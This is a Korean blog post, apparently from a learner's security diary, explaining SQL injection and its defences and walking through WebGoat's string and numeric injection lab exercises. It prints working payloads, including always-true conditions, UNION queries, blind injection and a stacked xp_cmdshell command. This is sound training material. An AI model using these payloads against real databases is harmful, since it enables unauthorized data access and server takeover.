겉바속촉
[보안] WebGoat_String SQL Injection, Numeric SQL Injection 본문
[보안] WebGoat_String SQL Injection, Numeric SQL Injection
겉바속촉 2021. 1. 21. 15:11SQL Injection
개념
- 외부 입력값을 검증하지 않고 SQL문을 생성 및 실행에 사용하는 경우에 발생
- 쿼리의 원래 의미와 형태가 변형되어 실행
예상 피해
- 권한 밖 데이터에 대한 접근이 가능, 인증 우회, DB서버 또는 서버군의 제어권을 탈취하는 등의 피해가 발생
방어 기법
- 입력값 검증 --> SQL문을 조작할 수 있는 문자열 포함 여부를 확인
- 정적 쿼리를 사용 --> 항상 일정한 형태의 쿼리가 실행되는 것을 보장
- DB 사용자에게 최소 권한을 부여 --> 애플리케이션에서 사용하는 DB 사용자의 권한을 필요한 만큼만 부여
- 에러에 대한 안전한 처리 --> 오류 메시지를 통해서 시스템 내부 정보가 노출되지 않도록 오류 메시지를 처리
입력되는 값의 형태(유형)에 따라 다양한 SQL Injection 유형
select * from users where name = 'hong'
=> 의미 : name 컬럼의 값이 입력값(hong)과 일치하는 사용자 정보를 조회
1) 항상 참이 되는 값을 입력
hong' or 'a' = 'a
⇒ select * from users where name = 'hong' or 'a' = 'a'
⇒ 의미 : 모든 사용자 정보를 조회
2) 오류를 유발하는 입력 ⇒ 시스템 내부 정보를 수집
a'
⇒ select * from users where name = 'a''
⇒ 구문 오류가 발생 ⇒ syntax error
⇒ 홑따옴표가 두개 연속으로 나오면 escape가 발생해서 홑따옴표라는 문자를 뜻함. 그럼 한개 부족하다고 인식
3) UNION 구문을 이용 ⇒ 권한 밖 데이터에 접근이 가능
select * from users where name = 'hong' : 정상적인 쿼리
⇒ select * from users where name = 'hong' UNION select 1, 2, 3 -- ' : 조작 쿼리
ID Name Age
=================================================================
123 Hong 23 ⇐ 정상적인 쿼리 실행 결과
??? ???? ??? ⇐ 정상적인 쿼리 실행 결과에
공격자가 알고 싶어하는 정보를 출력할 수 없을까?
1 2 3
저렇게 위의 예시처럼 쿼리를 주면 hong 과 select 1,2,3이 join되어 결과 도출
4) Stored Procedure를 이용 ⇒ 서버의 제어권이 탈취
많이 쓰는 기능들을 함수화시켜서 호출해서 실행하는 것이 바로 Stored Procedure
DB 자체에서 제공
hong'; exec xp_cmdshell 'cmd.exe /c ipconfig' --
⇒ select * from users where name = 'hong'; exec xp_cmdshell 'cmd.exe /c ipconfig' --'
이것이 실행될 때에는
select * from users where name = 'hong'; 까지 실행이 되고
그 다음 쿼리문이 exec xp_cmdshell 'cmd.exe /c ipconfig' --
즉 해당 DB의 shell에 접근하려는 목적!!
5) Blind SQL Injection
(정상) 쿼리가 참인 조건과 거짓인 조건에 따라 다르게 반응하는 것을 응용한 공격
hong ⇒ select * from users where name = 'hong' ⇒ 일치하는 이름의 사용자가 존재합니다.
a$b! ⇒ select * from users where name = 'a$b!' ⇒ 일치하는 이름의 사용자가 존재하지 않습니다.
공격자가 알고 싶어하는 정보를 조회하는 쿼리를 생성 → select …
hong' and ( select ... ) --
⇒ select * from users where name = 'hong' and (select … ) -- '
위의 쿼리 실행 후 화면에
존재한다 → 공격자가 생성한 쿼리의 일치하는 데이터가 있다
존재하지 않는다 → 공격자가 생성한 쿼리의 일치하는 데이터가 없다
@Attacker 에서
@WindowsXP의 WebGoat으로 접속 (http://windowsxp:8080/WebGoat) (webgoat/webgoat으로 접속)
접속 후 다음과 같이 들어가주세요:)
String SQL Injection
사용자 이름을 입력하면 해당 사용자의 정보를 반환해주는 서비스
문제 : 모든 사용자의 정보를 조회해 보세요.
사용자 입력
last name: Smith' or 'a' = 'a
서버로 전달
attack?Screen=65&menu=1100&account_name=Smith' or 'a' = 'a
내부 처리
SELECT * FROM user_data WHERE last_name = 'Smith' or 'a' = 'a'
!!!CONGRATULATIONS!!!
이제 데이터 타입이 STRING이 아닌 숫자형인 문제를 보도록 하겠습니다.
Numeric SQL Injection
선택한 지역의 날씨 정보를 제공하는 서비스
문제 : 모든 지역의 날씨 정보가 출력되도록 하시오.
사용자 입력
station: Seattle → 101 or 1=1
서버로 전달
attack?Screen=75&menu=1100&station=101 or 1=1
내부 처리
SELECT * FROM weather_data WHERE station = 101 or 1=1
방법1) F12 키를 이용하여 개발자 도구를 통해 사용자 입력값 조종하기
!!!CONGRATULATIONS!!!
방법2) 서버로 전달되는 값 변형하기 ---> proxy 이용하기
다음과 같이 proxy 설정
그리고 날라가는 값을 잡아야하므로 Intercept is on 상태에서 진행하고 webgoat 사이트에서 go 클릭
그럼 다음 표시한 부분처럼 값 변경해주기
다하고 나면 별도장이 생깁니다.
다시하고 싶은 경우 우측 상단에 있는 Restart 클릭
'IT 일기 (상반기) > 네트워크 및 시스템 보안' 카테고리의 다른 글
[보안] Blind Numeric SQL Injection (0) | 2021.01.21 |
---|---|
[보안] Kali Linux에 bWAPP 설치 (0) | 2021.01.21 |
[보안] OWASP, SQL Injection (0) | 2021.01.21 |
[보안] ARP Spoofing 실습 (0) | 2021.01.21 |
[보안] 304 Not Modified 오류 해결 (0) | 2021.01.21 |